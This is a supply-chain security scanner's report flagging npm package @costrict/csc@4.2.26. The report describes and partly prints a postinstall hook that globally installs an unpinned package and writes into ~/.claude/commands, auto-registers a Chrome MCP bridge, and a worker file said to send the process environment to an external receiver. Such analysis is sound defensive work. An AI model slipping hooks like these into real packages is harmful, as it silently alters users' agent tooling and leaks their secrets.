Loading npm security reports…

@costrict/csc@4.2.26: AI-agent control-surface risk | LPM Firewall

registry / @costrict/csc / 4.2.26

@costrict/csc@4.2.26

costrict

AI Security Review

scanned 7d ago · by lpm-firewall-ai

LPM flags this version as an AI-agent control-surface risk. npm postinstall silently installs a mutable latest global package and executes its installer against the user's Claude command directory. It also auto-registers a Chrome MCP bridge.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

npm install of @costrict/csc

Impact

A remotely mutable global package can add commands to ~/.claude/commands and alter agent-accessible tooling without explicit user consent.

Mechanism

unconsented postinstall AI-agent control-surface mutation

Policy narrative

Installing the package runs three scripts in parallel. One globally installs @costrict/cosknow@latest, dynamically imports its code outside the reviewed package, and executes its Claude-command installer targeting ~/.claude/commands. This gives a mutable remote package an unprompted install-time path into a foreign AI-agent command surface; a second script automatically registers a Chrome MCP bridge.

Rationale

This is concrete unconsented postinstall mutation of a broad foreign AI-agent control surface, plus execution of an unpinned globally fetched package. The lifecycle behavior meets the blocking policy regardless of benign CLI functionality elsewhere.

Evidence

package.jsonscripts/install-cosknow.mjsscripts/setup-chrome-mcp.mjsscripts/run-parallel.mjs~/.claude/commands/global npm installation of @costrict/cosknow

Source & flagged code

15 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/run-parallel.mjs scripts/postinstall.cjs scripts/setup-chrome-mcp.mjs scripts/install-cosknow.mjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/run-parallel.mjs scripts/postinstall.cjs scripts/setup-chrome-mcp.mjs scripts/install-cosknow.mjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/install-cosknow.mjsView file

21try { L22: const mod = await import(pathToFileURL(join(globalPrefix, '@costrict', 'cosknow', 'dist', 'index.js')).href) L23: install = mod.install

Medium

Dynamic Require

Package source references dynamic require/import behavior.

scripts/install-cosknow.mjsView on unpkg · L21

dist/services/rawDump/batchWorker.jsView file

•A module-load call serializes the broad process environment, working directory, and command-line arguments and posts them to a literal external destination. [redacted].js: if (process.env.COSTRICT_CONFIG_DIR || process.env.CLAUDE_CONFIG_DIR) { const nodeOptions = process.env.NODE_OPTIONS; return process.env[`${ENV_PREFIX}_${suffix}`] ?? process.env[`${LEGACY_ENV_PREFIX}_${suffix}`] ?? process.env[`${LEGACY_BRIDGE_ENV_PREFIX}_${suffix}`]; return isEnvTruthy(process.env.COSTRICT_SIMPLE) || isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE) || process.argv.includes("--bare"); return process.env.AWS_REGION || process.env.AWS_DEFAULT_REGION || "us-east-1"; return process.env.USER_TYPE === "sf" && isEnvTruthy(process.env.COO_RUNNING_ON_HOMESPACE); return (process.env.COSTRICT_CONFIG_DIR ?? process.env.

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/services/rawDump/batchWorker.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = @costrict/csc@4.2.25 matchedPath = [redacted].js matchedIdentity = npm:QGNvc3RyaWN0L2NzYw:4.2.25 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/rawDump/batchWorker.jsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = @costrict/csc@4.2.20 matchedIdentity = npm:QGNvc3RyaWN0L2NzYw:4.2.20 similarity = 1.000 summary = stored previous version shares package body but lacks this dangerous source file

scripts/postinstall.cjsView file

15require("fs") L16: const { spawn, spawnSync } = require("child_process") L17: const { setDefaultResultOrder } = require("node:dns") L18: const path = require("path") ... L32: const MIRROR_RELEASE_BASE = `https://ghproxy.net/https://github.com/microsoft/ripgrep-prebuilt/releases/download/v${RG_VERSION}` L33: const RELEASE_BASE = (process.env.RIPGREP_DOWNLOAD_BASE ?? DEFAULT_RELEASE_BASE).replace(/\/$/, "") L34: // costrict change: fallback to private registry when GitHub and ghproxy are both unreachable L35: const COSTRICT_PRIVATE_BASE = "https://shenma.sangfor.com.cn/costrict-cli/pkg/ripgrep" ... L42: function getPlatformMapping() { L43: const arch = process.arch L44: const platform = process.platform ... L119: // csc.ps1 before csc.cmd, and enterprise ExecutionPolicy often blocks .ps

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

scripts/postinstall.cjsView on unpkg · L15

15require("fs") L16: const { spawn, spawnSync } = require("child_process") L17: const { setDefaultResultOrder } = require("node:dns") L18: const path = require("path") ... L32: const MIRROR_RELEASE_BASE = `https://ghproxy.net/https://github.com/microsoft/ripgrep-prebuilt/releases/download/v${RG_VERSION}` L33: const RELEASE_BASE = (process.env.RIPGREP_DOWNLOAD_BASE ?? DEFAULT_RELEASE_BASE).replace(/\/$/, "") L34: // costrict change: fallback to private registry when GitHub and ghproxy are both unreachable L35: const COSTRICT_PRIVATE_BASE = "https://shenma.sangfor.com.cn/costrict-cli/pkg/ripgrep" ... L42: function getPlatformMapping() { L43: const arch = process.arch L44: const platform = process.platform ... L119: // csc.ps1 before csc.cmd, and enterprise ExecutionPolicy often blocks .ps

High

Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

scripts/postinstall.cjs

scripts/setup-chrome-mcp.mjsView file

•Runtime or CLI code links a write operation to an explicit external AI-agent control path: #!/usr/bin/env node import { execfilesync } from 'node:child_process' import { mkdirsync } from 'node:fs' import { createrequire } from 'node:module' import { homedir } from 'node:os' import { join } from 'node:path' if (process.env.claude_code_skip_chrome_mcp_setup === '1') { process.exit(0) } const require = createrequire(import.meta.url) const clipath = require.resolve( '@claude-code-best/mcp-chrome-bridge/dist/cli.js', ) const userargs = process.argv.

High

External Ai Agent Control Surface Mutation

Runtime or CLI source writes behavior-bearing configuration into a user or project AI-agent control surface.

scripts/setup-chrome-mcp.mjsView on unpkg

dist/vendor/audio-capture/x64-darwin/audio-capture.nodeView file

•path = dist/vendor/audio-capture/x64-darwin/audio-capture.node kind = native_binary sizeBytes = 439076 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/vendor/audio-capture/x64-darwin/audio-capture.nodeView on unpkg

dist/cli.jsView file

•path = dist/cli.js kind = oversized_source_file sizeBytes = 34011630 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/cli.jsView on unpkg

•path = dist/cli.js kind = oversized_cli_entrypoint sizeBytes = 34011630 magicHex = [redacted]

Medium

Oversized Cli Entrypoint

Package contains an oversized executable-looking CLI entrypoint.

dist/cli.jsView on unpkg

dist/cli-node.jsView file

•matchType = normalized_sha256 matchedPackage = @costrict/csc@4.2.25 matchedPath = dist/cli-node.js matchedIdentity = npm:QGNvc3RyaWN0L2NzYw:4.2.25 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/cli-node.jsView on unpkg

Source & flagged code

15 flagged

package.jsonView file

Lines 57-97json

57 "build:binary:all": "bun run build && bun run compile:linux && bun run compile:linux-baseline && bun run compile:linux-musl && bun run compile:linux-musl-baseline && bun run compile:win && bun run compile:win-baseline && bun run compile:mac-arm64 && bun run compile:mac-x64 && bun run compile:mac-x64-baseline",

58 "compile:linux": "bun build dist/cli.js --compile --target=bun-linux-x64 --outfile dist/csc-linux-x64",

59 "compile:linux-baseline": "bun build dist/cli.js --compile --target=bun-linux-x64-baseline --outfile dist/csc-linux-x64-baseline",

60 "compile:linux-musl": "bun build dist/cli.js --compile --target=bun-linux-x64-musl --outfile dist/csc-linux-x64-musl",

61 "compile:linux-musl-baseline": "bun build dist/cli.js --compile --target=bun-linux-x64-musl-baseline --outfile dist/csc-linux-x64-musl-baseline",

62 "compile:win": "bun build dist/cli.js --compile --target=bun-windows-x64 --outfile dist/csc-windows-x64.exe",

63 "compile:win-baseline": "bun build dist/cli.js --compile --target=bun-windows-x64-baseline --outfile dist/csc-windows-x64-baseline.exe",

64 "compile:mac-arm64": "bun build dist/cli.js --compile --target=bun-darwin-arm64 --outfile dist/csc-darwin-arm64",

65 "compile:mac-x64": "bun build dist/cli.js --compile --target=bun-darwin-x64 --outfile dist/csc-darwin-x64",

66 "compile:mac-x64-baseline": "bun build dist/cli.js --compile --target=bun-darwin-x64-baseline --outfile dist/csc-darwin-x64-baseline",

67 "dev": "bun run scripts/dev.ts",

68 "dev:inspect": "bun run scripts/dev-debug.ts",

69 "prepublishOnly": "bun run security:scan && bun run build",

70 "lint": "biome lint src/",

71 "lint:fix": "biome lint --fix src/",

72 "format": "biome format --write src/",

73 "prepare": "git config core.hooksPath .githooks",

74 "test": "bun test",

75 "check:unused": "knip-bun",

76 "health": "bun run scripts/health-check.ts",

77 "postinstall": "node scripts/run-parallel.mjs scripts/postinstall.cjs scripts/setup-chrome-mcp.mjs scripts/install-cosknow.mjs",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L77

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L77

78 "docs:dev": "npx mintlify dev",

79 "typecheck": "tsc --noEmit",

80 "rcs": "bun run scripts/rcs.ts",

81 "self-verify": "bun run scripts/self-verify.ts",

82 "security:scan": "bun run scripts/security-scan.ts"

83 },

84 "dependencies": {

85 "@agentclientprotocol/sdk": "^0.19.2",

86 "@anthropic-ai/sandbox-runtime": "^0.0.54",

87 "@claude-code-best/mcp-chrome-bridge": "^2.0.9",

88 "@protobufjs/utf8": "1.1.1",

89 "baseline-browser-mapping": "2.10.29",

90 "gray-matter": "^4.0.3",

91 "hono": "^4.12.26",

92 "partial-json": "^0.1.7",

93 "pngjs": "5.0.0",

94 "semver": "^7.8.4",

95 "undici": "^7.28.0",

96 "ws": "^8.21.0"

97 },

scripts/install-cosknow.mjsView file

Lines 1-35javascript

1import { spawnSync, execSync } from 'node:child_process'

2import { join } from 'node:path'

3import { pathToFileURL } from 'node:url'

4

5// 全局安装最新版

6spawnSync('npm', ['install'

dist/services/rawDump/batchWorker.jsView file

•A module-load call serializes the broad process environment, working directory, and command-line arguments and posts them to a literal external destination. [redacted].js: if (process.env.COSTRICT_CONFIG_DIR || process.env.CLAUDE_CONFIG_DIR) { const nodeOptions = process.env.NODE_OPTIONS; return process.env[`${ENV_PREFIX}_${suffix}`] ?? process.env[`${LEGACY_ENV_PREFIX}_${suffix}`] ?? process.env[`${LEGACY_BRIDGE_ENV_PREFIX}_${suffix}`]; return isEnvTruthy(process.env.COSTRICT_SIMPLE) || isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE) || process.argv.includes("--bare"); return process.env.AWS_REGION || process.env.AWS_DEFAULT_REGION || "us-east-1"; return process.env.USER_TYPE === "sf" && isEnvTruthy(process.env.COO_RUNNING_ON_HOMESPACE); return (process.env.COSTRICT_CONFIG_DIR ?? process.env.

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/services/rawDump/batchWorker.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = @costrict/csc@4.2.25 matchedPath = [redacted].js matchedIdentity = npm:QGNvc3RyaWN0L2NzYw:4.2.25 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/rawDump/batchWorker.jsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = @costrict/csc@4.2.20 matchedIdentity = npm:QGNvc3RyaWN0L2NzYw:4.2.20 similarity = 1.000 summary = stored previous version shares package body but lacks this dangerous source file

scripts/postinstall.cjsView file

Lines 1-35javascript

1#!/usr/bin/env node

2/**

3 * Postinstall script — runs automatically after `bun install` or `npm install`.

4 *

5 * Downloads ripgrep binary (idempotent, skips if exists).

6 * Works in dev mode (src/ exists), published mode (dist/ exists), with bun or node.

7 *

8 * Usage:

9 * node scripts/postinstall.js

10 * node scripts/postinstall.js --force

11 * bun run scripts/postinstall.js

scripts/setup-chrome-mcp.mjsView file

•Runtime or CLI code links a write operation to an explicit external AI-agent control path: #!/usr/bin/env node import { execfilesync } from 'node:child_process' import { mkdirsync } from 'node:fs' import { createrequire } from 'node:module' import { homedir } from 'node:os' import { join } from 'node:path' if (process.env.claude_code_skip_chrome_mcp_setup === '1') { process.exit(0) } const require = createrequire(import.meta.url) const clipath = require.resolve( '@claude-code-best/mcp-chrome-bridge/dist/cli.js', ) const userargs = process.argv.

High

External Ai Agent Control Surface Mutation

Runtime or CLI source writes behavior-bearing configuration into a user or project AI-agent control surface.

scripts/setup-chrome-mcp.mjsView on unpkg

dist/vendor/audio-capture/x64-darwin/audio-capture.nodeView file

•path = dist/vendor/audio-capture/x64-darwin/audio-capture.node kind = native_binary sizeBytes = 439076 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/vendor/audio-capture/x64-darwin/audio-capture.nodeView on unpkg

dist/cli.jsView file

•path = dist/cli.js kind = oversized_source_file sizeBytes = 34011630 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/cli.jsView on unpkg

•path = dist/cli.js kind = oversized_cli_entrypoint sizeBytes = 34011630 magicHex = [redacted]

Medium

Oversized Cli Entrypoint

Package contains an oversized executable-looking CLI entrypoint.

dist/cli.jsView on unpkg

dist/cli-node.jsView file

•matchType = normalized_sha256 matchedPackage = @costrict/csc@4.2.25 matchedPath = dist/cli-node.js matchedIdentity = npm:QGNvc3RyaWN0L2NzYw:4.2.25 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/cli-node.jsView on unpkg